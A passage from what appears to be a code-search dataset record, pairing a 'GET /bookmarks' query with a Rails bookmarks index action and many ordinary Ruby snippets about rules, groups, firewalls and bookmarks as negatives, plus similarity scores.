raise \"Unknown matcher type #{matcher.type}\"\n\n end\n\n end\n\n end",
"def add_to_group(group)\n raise 'InvalidGroup' unless group.respond_to?(:add_user)\n # just be lazy and hand off to the group to do the work...\n group.add_user(self)\n end",
"def add_rules(rules)\n rules.each do |rule|\n add_rule rule\n end\n end",
"def create\n @security = OpenStack::Nova::Compute::SecurityGroup.new();\n @security.name = params[:name]\n @security.description = params[:description]\n @security.save\n \n # TODO\n params[:rules].each do |k, v|\n @rule = OpenStack::Nova::Compute::Rule.new\n @rule.ip_protocol = v[:ip_protocol]\n @rule.from_port = v[:from_port]\n @rule.to_port = v[:to_port]\n @rule.cidr = v[:cidr]\n @rule.parent_group = @security\n @security.rule = @rule\n @rule.save\n @security.rule = @rule\n end\n\n respond_to do |format|\n format.json { render json: { status: 0 } }\n end\n\n # respond_to do |format|\n # if @security.save\n # format.html { redirect_to @security, notice: 'Security was successfully created.' }\n # format.json { render json: @security, status: :created, location: @security }\n # else\n # format.html { render action: \"new\" }\n # format.json { render json: @security.errors, status: :unprocessable_entity }\n # end\n # end\n end",
"def set_rule\n @rule = Rule.find_by id: params[:id], user: current_user\n end",
"def include_rule(key_or_existing_rule, options = {}, &block)\n if key_or_existing_rule.is_a?(IncludedRule)\n key = key_or_existing_rule.key\n included_rule = key_or_existing_rule\n else\n key = key_or_existing_rule.to_sym\n included_rule = nil\n end\n\n if included_rules[key].nil?\n included_rule ||= begin\n new_rule = IncludedRule.new(key, &block)\n new_rule.condition = options[:if]\n new_rule\n end\n included_rules[key] = included_rule\n else\n raise Error, \"Rule with key '#{key}' already been included on this permission\"\n end\n end",
"def addSubsetRule(rule)\r\n @teamRules.push(rule)\r\n return self\r\n end",
"def create\n ::ActiveRecord::Base.transaction do\n if group.save!\n membership = add_creator_as_group_admin!\n @side_effects << membership\n end\n end\n rescue ActiveRecord::RecordInvalid => _exception\n raise if group.valid?\n group\n end",
"def add_option(rule, key, value)\n return unless include?(rule)\n @rules[rule].options[key] = value\n end",
"def add_permission(key)\n key = key.to_sym\n if group_or_permission(key).nil?\n @permissions[key] = Permission.new(self, key)\n else\n raise Error, \"Group or permission with key of #{key} already exists\"\n end\n end",
"def apply_rule(type=nil)\n unless rule_exists?\n ufw_command = \"ufw \"\n ufw_command += \"insert #{@new_resource.position} \" if @new_resource.position\n ufw_command += \"#{type} \"\n ufw_command += \"#{@new_resource.direction} \" if @new_resource.direction\n if @new_resource.interface\n if @new_resource.direction\n ufw_command += \"on #{@new_resource.interface} \"\n else\n ufw_command += \"in on #{@new_resource.interface} \"\n end\n end\n ufw_command += \"#{@new_resource.logging} \" if @new_resource.logging\n ufw_command += \"proto #{@new_resource.protocol} \" if @new_resource.protocol\n if @new_resource.source\n ufw_command += \"from #{@new_resource.source} \"\n else\n ufw_command += \"from any \"\n end\n ufw_command += \"port #{@new_resource.dest_port} \" if @new_resource.dest_port\n if @new_resource.destination\n ufw_command += \"to #{@new_resource.destination} \"\n else\n ufw_command += \"to any \"\n end\n ufw_command += \"port #{@new_resource.port} \" if @new_resource.port\n\n Chef::Log.debug(\"ufw: #{ufw_command}\")\n shell_out!(ufw_command)\n\n Chef::Log.info(\"#{@new_resource} #{type} rule added\")\n shell_out!(\"ufw status verbose\") # purely for the Chef::Log.debug output\n @new_resource.updated_by_last_action(true)\n else\n Chef::Log.debug(\"#{@new_resource} #{type} rule exists..skipping.\")\n end\n end",
"def rewrite rule, &proc\n rewrite_rules << [rule, proc] if proc\n end",
"def check_and_log_managed_rule?(new_rule)\n existing_rule = parse_firewall_rule(new_rule['name'])\n return true if log_system_rule_error?(existing_rule, new_rule)\n return true if log_group_policy_error?(existing_rule, new_rule)\n return false\n end",
"def new_sync_rule(audience_id, sync_period, nonsecure_add_url, nonsecure_remove_url, secure_add_url, secure_remove_url)\n post(\"audiences/#{audience_id}/sync_rules?#{\n {\n \"audience_id\" => audience_id,\n \"sync_period\" => sync_period,\n \"nonsecure_add_pixel_url\" => nonsecure_add_url,\n \"secure_add_pixel_url\" => secure_add_url,\n \"nonsecure_remove_pixel_url\" => nonsecure_remove_url,\n \"secure_remove_pixel_url\" => secure_remove_url\n }.url_encode\n }\")\n end",
"def create_or_replace_gateway_rule_0(domain_id, gateway_policy_id, rule_id, rule, opts = {})\n data, _status_code, _headers = create_or_replace_gateway_rule_0_with_http_info(domain_id, gateway_policy_id, rule_id, rule, opts)\n data\n end",
"def addGroup(groupName)\n\n groups = YAML.load_file(@GROUPSFILE)\n groups[groups.size.next] = groupName\n File.write(@GROUPSFILE, groups.to_yaml)\n return true\n end",
"def add_group( group )\n type_check( group, Elements::Group )\n assert( !name_defined?(name), \"name [#{name}] is already in use\" )\n \n @groups[group.name] = group\n end",
"def content_rules_post(authorization, web_application_name, rule_group, opts = {})\n data, status_code, headers = content_rules_post_with_http_info(authorization, web_application_name, rule_group, opts)\n [data, status_code, headers]\n end",
"def add_group(group_name, filter_argument = T.unsafe(nil), &filter_proc); end",
"def update_inbound_rule(rule_number, protocol, rule_action, cidr_block, options = {})\n update_rule(rule_number, protocol, rule_action, cidr_block, false, options)\n end",
"def add_route( rule, output_channel )\n validate_arguments( binding() )\n routes.push( RouteSpecification.new( rule, output_channel ) )\n end",
"def add_group_as_member(group)\n self.groups.push group\n end",
"def add_group(group, gid=nil)\n\t\t\tend",
"def add_to_group plugin, group:\n group_sym = group.to_sym\n @groups[group_sym] ||= {}\n @groups[group_sym][plugin.to_s] = plugin\n end",
"def add_item_compilation_rule(rule)\n @item_compilation_rules << rule\n end",
"def create_firewall_rule(rule_hash, firewall_name)\n script_code = +'netsh advfirewall firewall add rule'\n rule_hash.each do |key, val|\n filter_or_append_rule_field(script_code, key, val)\n end\n @@creation_script_cache[firewall_name] = [] if @@creation_script_cache[firewall_name].nil?\n @@creation_script_cache[firewall_name].push(script_code)\n cmd = log_powershell_out('creation', script_code)\n validate_creation_output(cmd.stdout)\n end",
"def contact_add_to_group(contact_id, group_id)\n response = xmlrpc('ContactService.addToGroup', contact_id, group_id)\n end",
"def set_rule\n @rule = Rule.find(params[:id])\n end",
"def set_rule\n @rule = Rule.find(params[:id])\n end",
"def set_rule\n @rule = Rule.find(params[:id])\n end",
"def create_style_rule(rule); end",
"def add_user_to_group(user, group)\n\t\t\tend",
"def add_rules(rules)\n options = {request: []}\n rules.each do |rule|\n options[:request] << rule.attributes\n end\n response = nil\n if @parent.class == Profitbricks::LoadBalancer\n response = Profitbricks.request :add_firewall_rules_to_load_balancer, options.merge(load_balancer_id: @parent.id)\n self.reload\n else\n response = Profitbricks.request :add_firewall_rules_to_nic, options.merge(nic_id: self.nic_id)\n self.reload\n end\n \n end",
"def save_rule!(objectID, rule, forward_to_replicas = false, request_options = {})\n res = save_rule(objectID, rule, forward_to_replicas, request_options)\n wait_task(res['taskID'], WAIT_TASK_DEFAULT_TIME_BEFORE_RETRY, request_options)\n return res\n end",
"def authorize_security_group_IP_ingress(name, from_port, to_port, protocol='tcp', cidr_ip='0.0.0.0/0')\n edit_security_group( :authorize, name, :from_port => from_port, :to_port => to_port, :protocol => protocol, :cidr_ip => cidr_ip )\n end",
"def authorize_security_group_IP_ingress(name, from_port, to_port, protocol='tcp', cidr_ip='0.0.0.0/0')\n edit_security_group( :authorize, name, :from_port => from_port, :to_port => to_port, :protocol => protocol, :cidr_ip => cidr_ip )\n end",
"def groupadd(group)\n # XXX I don't like specifying the path to groupadd - need to sort out paths before long\n send(run_method, \"grep '#{group}:' /etc/group || sudo /usr/sbin/groupadd #{group}\")\n end",
"def rule(val); @rule = val; self; end",
"def edge_security rule:\n # Only link access rules related to `podsecuritypolicies` resource, scoped to specific psp \n if rule[:resource] == 'podsecuritypolicies' && !rule[:resource_name].nil?\n rule_label = make_label rule.values\n psp_label = make_label 'psp', rule[:resource_name] # prepare label for PSP based on resource_name\n\n add_relation rule_label, :SECURITY, psp_label\n end\n end",
"def rule=(nu_rule)\n unless RULES.include?(nu_rule)\n str = %(\"#{nu_rule}\")\n str << ' is not one of '\n str << RULES.map(&:inspect).join(', ')\n\n raise ArgumentError, str\n end\n\n @rule = nu_rule\n end"
] |
[
"0.6768331",
"0.66592056",
"0.6553603",
"0.64926904",
"0.6476545",
"0.64582264",
"0.6352097",
"0.6234922",
"0.6197109",
"0.61785495",
"0.6114273",
"0.6113903",
"0.59489554",
"0.59410363",
"0.59260315",
"0.5871608",
"0.58088213",
"0.5715657",
"0.56822675",
"0.5647617",
"0.5634673",
"0.5618818",
"0.5616811",
"0.56157094",
"0.5594414",
"0.5584029",
"0.55426854",
"0.5521781",
"0.55209225",
"0.5519709",
"0.5517407",
"0.5477821",
"0.54464436",
"0.53846484",
"0.5367117",
"0.5363839",
"0.5360883",
"0.53604347",
"0.5313486",
"0.5306273",
"0.52713203",
"0.5193217",
"0.51859134",
"0.51829433",
"0.51688874",
"0.5160717",
"0.51300514",
"0.5109313",
"0.50930995",
"0.50788724",
"0.50713205",
"0.50665474",
"0.5040573",
"0.50372356",
"0.50321907",
"0.5020799",
"0.5009751",
"0.5000061",
"0.49906644",
"0.4980311",
"0.49785173",
"0.4965869",
"0.49624923",
"0.49582696",
"0.49553838",
"0.4955109",
"0.4954736",
"0.49487674",
"0.49431905",
"0.49320447",
"0.4928069",
"0.49208996",
"0.4920119",
"0.49170277",
"0.49067652",
"0.49029356",
"0.48971674",
"0.48816836",
"0.48786104",
"0.4867147",
"0.48638386",
"0.48565102",
"0.4850665",
"0.48493752",
"0.48189703",
"0.48065928",
"0.48039624",
"0.47997245",
"0.47995445",
"0.47995445",
"0.47995445",
"0.47991338",
"0.47914532",
"0.47907484",
"0.47819257",
"0.4769644",
"0.4769644",
"0.4764016",
"0.47502393",
"0.47380483",
"0.47341827"
] |
0.0
|
-1
|
GET /bookmarks GET /bookmarks.json
|
def index
@bookmarks = Bookmark.user_bookmarks(current_user)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @bookmarks = Bookmark.all\n render json: { bookmarks: @bookmarks }, status: :ok\n end",
"def bookmarks\n\t\toptions = { list: true }\n\t\tresponse = self.server.run_with_json_template( :bookmarks, **options )\n\t\treturn response.map {|bk| Hglib::Repo::Bookmark.new(self, **bk) }\n\tend",
"def bookmarks\n @user = User.find(params[:id])\n\n render :status => 404 and return if @user.nil?\n\n # Grab Bookmarks and Render Them Out\n @bookmarks = @user.current_bookmarks\n render_collection_json Serialize::BookmarksSerializer.as_json_with_current_entries(@bookmarks, @user)\n end",
"def index\n\t\trespond_with current_user.bookmarks\n\tend",
"def index\n if logged_in?\n @bookmarks = @current_user.bookmarks.pluck(:story_id)\n respond_to do |format|\n format.json { render json: {ids: @bookmarks} }\n format.html { redirect_to bookmarks_url }\n end\n else\n redirect_to bookmarks_url\n end\n end",
"def show\n render json: { bookmark: @bookmark }, status: :ok\n end",
"def list_bookmarks(user_id)\n url = \"#{@@request_url}/User.listBookmarks?appid=#{@@appid}&ID=#{user_id}\"\n end",
"def get_bookmarks(name, bookmark_path, opts = {})\n @api_client.request_token_if_needed\n data, _status_code, _headers = get_bookmarks_with_http_info(name, bookmark_path, opts)\n rescue ApiError => error\n if error.code == 401\n @api_client.request_token_if_needed\n data, _status_code, _headers = get_bookmarks_with_http_info(name, bookmark_path, opts)\n else\n raise\n end\n return data\n end",
"def index\n @bookmarks = @user.bookmarks\n # render json: @bookmarks\n #(.order by distance)\n end",
"def index\n if params[:dress_id]\n @bookmarks = @bookmarks.where(\"bookmarkable_id = ?\", params[:dress_id])\n elsif params[:vendor_id]\n @bookmarks = @bookmarks.where(\"bookmarkable_id = ?\", params[:vendor_id])\n end\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bookmarks }\n end\n end",
"def show\n #respond_to {|format| format.json { render json: @bookmark, status: :ok } }\n end",
"def index\n @bookmarks = Bookmark.order(\"updated_at DESC\").page(params[:page]).per_page(10)\n\n respond_with @bookmarks\n end",
"def index\n @bookmarks = Bookmark.all\n end",
"def show\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bookmark }\n end\n end",
"def show\n @bookmarks_category = BookmarksCategory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bookmarks_category }\n end\n end",
"def show\n @bookmarks_category = BookmarksCategory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bookmarks_category }\n end\n end",
"def index\n @bookmarks = Bookmark.all\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @bookmark }\n end\n end",
"def index\n\t\t@bookmarks = Bookmark.all\n\tend",
"def index\n @bookmarks = BookmarkLister.new(@tag || current_user)\n .(query: params[:q], by: params[:by])\n .to_a\n end",
"def bookmarks_formatter\n\t\t\t\tformatted_bookmarks = []\n\t\t\t\[email protected] do |bookmark|\n\t\t\t\t\tformatted_bookmarks << strip_bookmark_to_json(bookmark)\n\t\t\t\tend\n\t\t\t\trespond_with formatted_bookmarks\n\t\t\tend",
"def index\n search = Bookmark.search(:include => [:manifestation])\n query = params[:query].to_s.strip\n unless query.blank?\n @query = query.dup\n end\n user = @user\n unless current_user.has_role?('Librarian')\n if user and user != current_user and !user.try(:share_bookmarks)\n access_denied; return\n end\n if current_user == @user\n redirect_to bookmarks_url\n return\n end\n end\n\n search.build do\n fulltext query\n order_by(:created_at, :desc)\n if user\n with(:user_id).equal_to user.id\n else\n with(:user_id).equal_to current_user.id\n end\n end\n page = params[:page] || \"1\"\n flash[:page] = page if page.to_i >= 1\n search.query.paginate(page.to_i, Bookmark.default_per_page)\n @bookmarks = search.execute!.results\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @bookmarks }\n end\n end",
"def load_bookmarks\n $bookmarks = {}\n $bookcodes = []\n\n # check if bookmark file exists\n if FileTest.file?( $SETTINGS[:BOOKMARKS_FILE] )\n fp = File.new( $SETTINGS[:BOOKMARKS_FILE], 'rb' )\n str = fp.read(2**26)\n fp.close\n $bookmarks = JSON.parse( str )\n end\n\n for bcbz, dat in $bookmarks\n $bookcodes << dat[2]\n end\nend",
"def get_document_bookmarks(name, opts = {})\n @api_client.request_token_if_needed\n data, _status_code, _headers = get_document_bookmarks_with_http_info(name, opts)\n rescue ApiError => error\n if error.code == 401\n @api_client.request_token_if_needed\n data, _status_code, _headers = get_document_bookmarks_with_http_info(name, opts)\n else\n raise\n end\n return data\n end",
"def index\n @bookmarks = Bookmark.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @bookmarks }\n end\n end",
"def index\n\t\t\t\tbookmarks = Bookmark.where(\"user_id == ?\", doorkeeper_token.resource_owner_id)\n\t\t\t\tformatted_bookmarks = []\n\t\t\t\tbookmarks.each do |bookmark|\n\t\t\t\t formatted_tags = []\n\t\t\t\t bookmark.tags.each do |tag|\n\t\t\t\t formatted_tags << tag.tagname\n\t\t\t\t end\t\t\t \n\t\t\t\t formatted_bookmarks << {:id => bookmark.id, :url => bookmark.url.url, :title => bookmark.title, :description => bookmark.description, :tags => formatted_tags}\n\t\t\t\tend\n\t\t\t\trespond_with formatted_bookmarks\n\t\t\tend",
"def bookmarks\n full = options[:full]\n docs = options[:doc] && documents.map { |doc| [doc.id, doc] }.to_h\n item_list.map { |item|\n next unless item.is_a?(Bookmark)\n entry = {\n document_id: item.document_id,\n document_type: item.document_type.to_s,\n lens: item.lens,\n updated_at: item.updated_at,\n created_at: item.created_at,\n }\n full && entry.merge!(\n title: item.user_type, # TODO: not persisted; should it be?\n id: item.id,\n user_id: item.user_id,\n user_type: item.user_type,\n )\n docs && entry.merge!(doc: docs[item.document_id])\n entry\n }.compact.as_json\n end",
"def index\n @public_bookmarks = PublicBookmark.all\n end",
"def get_bookmarks_with_http_info(name, bookmark_path, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: PdfApi.get_bookmarks ...\"\n end\n # verify the required parameter 'name' is set\n if @api_client.config.client_side_validation && name.nil?\n fail ArgumentError, \"Missing the required parameter 'name' when calling PdfApi.get_bookmarks\"\n end\n # verify the required parameter 'bookmark_path' is set\n if @api_client.config.client_side_validation && bookmark_path.nil?\n fail ArgumentError, \"Missing the required parameter 'bookmark_path' when calling PdfApi.get_bookmarks\"\n end\n # resource path\n local_var_path = \"/pdf/{name}/bookmarks/list/{bookmarkPath}\".sub('{' + 'name' + '}', name.to_s).sub('{' + 'bookmarkPath' + '}', bookmark_path.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'folder'] = opts[:'folder'] if !opts[:'folder'].nil?\n query_params[:'storage'] = opts[:'storage'] if !opts[:'storage'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n # Fix header in file\n post_body = nil\n\n # http body (model)\n # Fix header in file\n # post_body = nil\n auth_names = ['JWT']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'BookmarksResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PdfApi#get_bookmarks\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n @bookmarks_categories = BookmarksCategory.order(\"item_id,id\").all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bookmarks_categories }\n end\n end",
"def index\n @bookmarks_categories = BookmarksCategory.order(\"item_id,id\").all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bookmarks_categories }\n end\n end",
"def index\n @bookmarks = Bookmark.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @bookmarks }\n format.js { render :partial => 'bookmarks/list' }\n end\n end",
"def index\n# Bookmark.destroy_all\n# @bookmarks = Bookmark.all\n\n# Get all bookmarks related to user where the primary key of User record is in session[:user_id]\n @bookmarks =User.find(session[:user_id]).bookmarks.scoped\n @[email protected](:name)\n\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bookmarks }\n end\n end",
"def get_document_bookmarks(request)\n data, _status_code, _headers = get_document_bookmarks_with_http_info(request)\n request_token if _status_code == 401\n data\n end",
"def show\n # @bookmark_tag = BookmarkTag.find(params[:id])\n\n @tag = Tag.find_by_name(params[:id]) \n @bookmark_tag = @tag.bookmarks\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bookmark_tag }\n end\n end",
"def index\n @bookmarks = Bookmark.all\n @bookmark = Bookmark.new\n end",
"def index\n @bookmarks = Bookmark.all\n @bookmark = Bookmark.new\n end",
"def create\n @bookmarks = if params[:bookmarks]\n permit_bookmarks[:bookmarks]\n else\n [{ document_id: params[:id], document_type: blacklight_config.document_model.to_s }]\n end\n\n current_or_guest_user.save! unless current_or_guest_user.persisted?\n\n bookmarks_to_add = @bookmarks.reject { |bookmark| current_or_guest_user.bookmarks.where(bookmark).exists? }\n success = ActiveRecord::Base.transaction do\n current_or_guest_user.bookmarks.create!(bookmarks_to_add)\n rescue ActiveRecord::RecordInvalid\n false\n end\n\n if request.xhr?\n success ? render(json: { bookmarks: { count: current_or_guest_user.bookmarks.count } }) : render(json: current_or_guest_user.errors.full_messages, status: \"500\")\n else\n if @bookmarks.any? && success\n flash[:notice] = I18n.t('blacklight.bookmarks.add.success', count: @bookmarks.length)\n elsif @bookmarks.any?\n flash[:error] = I18n.t('blacklight.bookmarks.add.failure', count: @bookmarks.length)\n end\n\n redirect_back fallback_location: bookmarks_path\n end\n end",
"def recent\n @notes = Note.recently_added(12).paginate(:page => params[:page], :per_page => configatron.page_size)\n\n respond_to do |format|\n format.html # recent.html.erb\n format.json { render json: @bookmarks }\n end\n end",
"def index\n @bookmarks = Bookmark.where(owner: current_user)\n end",
"def index\n @solicitation_bookmarks = SolicitationBookmark.all\n end",
"def get_document_bookmarks_with_http_info(name, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: PdfApi.get_document_bookmarks ...\"\n end\n # verify the required parameter 'name' is set\n if @api_client.config.client_side_validation && name.nil?\n fail ArgumentError, \"Missing the required parameter 'name' when calling PdfApi.get_document_bookmarks\"\n end\n # resource path\n local_var_path = \"/pdf/{name}/bookmarks/tree\".sub('{' + 'name' + '}', name.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'folder'] = opts[:'folder'] if !opts[:'folder'].nil?\n query_params[:'storage'] = opts[:'storage'] if !opts[:'storage'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n # Fix header in file\n post_body = nil\n\n # http body (model)\n # Fix header in file\n # post_body = nil\n auth_names = ['JWT']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'BookmarksResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PdfApi#get_document_bookmarks\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def bookmark_params\n\t\tparams[:bookmarks]\n\tend",
"def index\n @bookmark_stats = BookmarkStat.page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @bookmark_stats }\n end\n end",
"def list\n stream.puts \"List of bookmarks\"\n\n bookmarks = Services::List.new.list\n renderer.new(bookmarks, stream: stream).render\n end",
"def index\n @categorybookmarks = CategoryBookmark.all\n end",
"def show\n @bookmark = Bookmark.find(params[:id])\n end",
"def show\n @bookmark = Bookmark.find(params[:id])\n end",
"def index\n @bookmarklets = Bookmarklet.find(:all)\n if logged_in?\n @user_bookmarkltes = current_user.bookmarklets\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @bookmarklets }\n end\n end",
"def new\n @bookmark = Bookmark.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @bookmark }\n end\n end",
"def index\n @topic = Topic.find(params[:topic_id])\n @bookmarks = current_user.topics.find(params[:topic_id]).bookmarks.all\n @bookmark = current_user.topics.find(params[:topic_id]).bookmarks.new\n end",
"def index\n @bookmarks = token_or_current_or_guest_user.bookmarks\n bookmark_ids = @bookmarks.collect { |b| b.document_id.to_s }\n\n if bookmark_ids.empty?\n @response = Blacklight::Solr::Response.new({}, {})\n @document_list = []\n else\n query_params = {\n q: bookmarks_query(bookmark_ids),\n defType: 'lucene',\n rows: bookmark_ids.count\n }\n # search_service.fetch does this internally (7.25)\n @response = search_service.repository.search(query_params)\n @document_list = ActiveSupport::Deprecation::DeprecatedObjectProxy.new(@response.documents, 'The @document_list instance variable is now deprecated and will be removed in Blacklight 8.0')\n end\n\n respond_to do |format|\n format.html {}\n format.rss { render layout: false }\n format.atom { render layout: false }\n\n additional_response_formats(format)\n document_export_formats(format)\n end\n end",
"def show\n @bookmark = Bookmark.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @bookmark }\n end\n end",
"def get_bookmarks\n @logger.debug \"Fetching bookmarks from Delicious\"\n bookmarks = []\n doc = REXML::Document.new(open(\"http://feeds.delicious.com/v2/rss/#{@username}?count=5\"))\n doc.each_element('//channel/item') do |item|\n bookmarks << {\n :title => item.get_text('title'),\n :url => item.get_text('link'),\n :date => Date.parse(item.get_text('pubDate').to_s)\n }\n end\n return bookmarks\n end",
"def json_index_user_bookmarks_by_user_id\n\n respond_to do |format|\n\n if UsersBookmark.exists?(user_id: params[:user_id])\n\n @user_bookmarks = Bookmark.\n select('bookmarks.id, bookmark_url, bookmarks_category_id, description, i_frame, image_name, image_name_desc, bookmarks_categories.item_id, title,position,\"like\"').\n joins(:users_bookmarks).\n joins(:bookmarks_category).\n where('user_id = ? ',params[:user_id])\n\n format.json { render json: @user_bookmarks }\n\n else\n format.json { render json: 'not found user_id ' , status: :not_found }\n end\n end\n\n end",
"def create\n @bookmark = Bookmark.new(bookmark_params)\n @bookmark.save\n @bookmarks = Bookmark.all\n\n # respond_to do |format|\n # if @bookmark.save\n # format.html { redirect_to @bookmark, notice: 'Bookmark was successfully created.' }\n # format.json { render :show, status: :created, location: @bookmark }\n # else\n # format.html { render :new }\n # format.json { render json: @bookmark.errors, status: :unprocessable_entity }\n # end\n # end\n end",
"def show\n @bookmark = Bookmark.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @bookmark }\n end\n end",
"def show\n @bookmark = Bookmark.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @bookmark }\n end\n end",
"def show\n @bookmark = Bookmark.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @bookmark }\n end\n end",
"def bookmarks(user)\n user = Access::Validate.user(user, false)\n Bookmark\n .where('(bookmarks.creator_id = ? OR bookmarks.updater_id = ?)', user.id, user.id)\n .order('bookmarks.updated_at DESC')\n end",
"def test_bookmarks\n [{ url: 'https://www.google.com', title: 'Google' },\n { url: 'https://github.com/', title: 'Github' },\n { url: 'https://www.garybusey.com/', title: 'Gary Busey' }]\nend",
"def bookmarks(bookmarks)\n bookmarks.each_with_object({}) do |b, bs|\n first_image = b.entry.entry_images.min_by(&:pocket_image_id)\n bs[b.id] = {\n id: b.id.to_s,\n title: b.entry.resolved_title,\n url: b.entry.url,\n status: b.status,\n addedAt: b.added_to_pocket_at.to_i,\n archivedAt: b.archived_at&.to_i,\n favorite: b.favorite,\n thumbnailUrl: determine_image_url(first_image),\n }\n end\n end",
"def show\n @bookmark = Bookmark.find(params[:id])\n\n respond_to do |format|\n format.html #show.html.erb\n format.xml { render :xml => @bookmark }\n end\n end",
"def new\n @bookmark = Bookmark.new\n @bookmark.user_id= session[:user_id]\n @bookmark.origin='database-created'\n @bookmark.url='http://'\n @bookmark.folder=[\" \"]\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bookmark }\n end\n end",
"def get_bookmarked_topics(org_unit_id) # GET\n query_string = \"/d2l/api/le/#{$le_ver}/#{org_unit_id}/content/bookmarks\"\n _get(query_string)\n # Returns: a JSON array of Topic ToC entries.\nend",
"def index\n if session[:user_id]\n @bookmarks = Bookmark.all(:conditions => \"user_id = \"+session[:user_id].to_s)\n user = User.find(session[:user_id])\n \n @background = Rails.root + '/data/' + user.background\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @bookmarks }\n end\n else\n redirect_to \"/login\"\n end\n end",
"def create\n @bookmark = Bookmark.new(bookmark_params)\n\n if @bookmark.save\n render json: { bookmark: @bookmark }, status: :created\n else\n render json: { errors: @bookmark.errors }, status: :unprocessable_entity\n end\n end",
"def fetch_recent\n @bookmarkable = @bookmark.bookmarkable\n respond_to do |format|\n format.js {\n @bookmarks = @bookmarkable.bookmarks.visible(:order => \"created_at DESC\").offset(1).limit(4)\n }\n format.html do\n id_symbol = (@bookmarkable.class.to_s.underscore + '_id').to_sym\n redirect_to url_for({:action => :index, id_symbol => @bookmarkable})\n end\n end\n end",
"def render_bookmarks(bookmarks, title, feed_uri, user, except=[])\n # Figure out a current value for the Last-Modified header.\n if bookmarks.empty?\n last_modified = nil\n else\n # Last-Modified is the most recent timestamp in the bookmark list.\n most_recent_bookmark = bookmarks.max do |b1,b2|\n b1.timestamp <=> b2.timestamp\n end\n last_modified = most_recent_bookmark.timestamp\n end\n \n # If the bookmark list has been modified since it was last requested...\n render_not_modified_or(last_modified) do\n respond_to do |format|\n # If the client requested XML, serialize the ActiveRecord\n # objects to XML. Include references to the tags in the\n # serialization.\n format.xml { render :xml => \n bookmarks.to_xml(:except => except + [:id, :user_id],\n :include => [:tags]) }\n # If the client requested Atom, turn the ActiveRecord objects\n # into an Atom feed.\n format.atom { render :xml => atom_feed_for(bookmarks, title, \n feed_uri, user) }\n end\n end\n end",
"def get_bookmarks_for_user(user_id)\n query = <<-EOS\n SELECT b.id, b.name, b.notes, b.added_on, w.url\n FROM bookmarks b, web_pages w\n WHERE b.web_page_id = w.id\n AND user_id = $1\n EOS\n bms = @conn.exec(query, [user_id])\n Bookmark.build(bms)\n end",
"def json_show_user_bookmark_by_user_id_and_bookmark_id\n\n respond_to do |format|\n\n if Bookmark.\n joins(:users_bookmarks).\n joins(:bookmarks_category).\n where('user_id = ? and bookmarks.id = ?',params[:user_id],params[:bookmark_id]).exists?\n\n @user_bookmark = Bookmark.\n select('bookmarks.id, bookmark_url, bookmarks_category_id, description, i_frame, image_name, image_name_desc, bookmarks_categories.item_id, title,position,\"like\"').\n joins(:users_bookmarks).\n joins(:bookmarks_category).\n where('user_id = ? and bookmarks.id = ?',params[:user_id],params[:bookmark_id]).first\n\n format.json { render json: @user_bookmark }\n else\n format.json { render json: 'not found user_id and bookmark id' , status: :not_found }\n end\n end\n\n end",
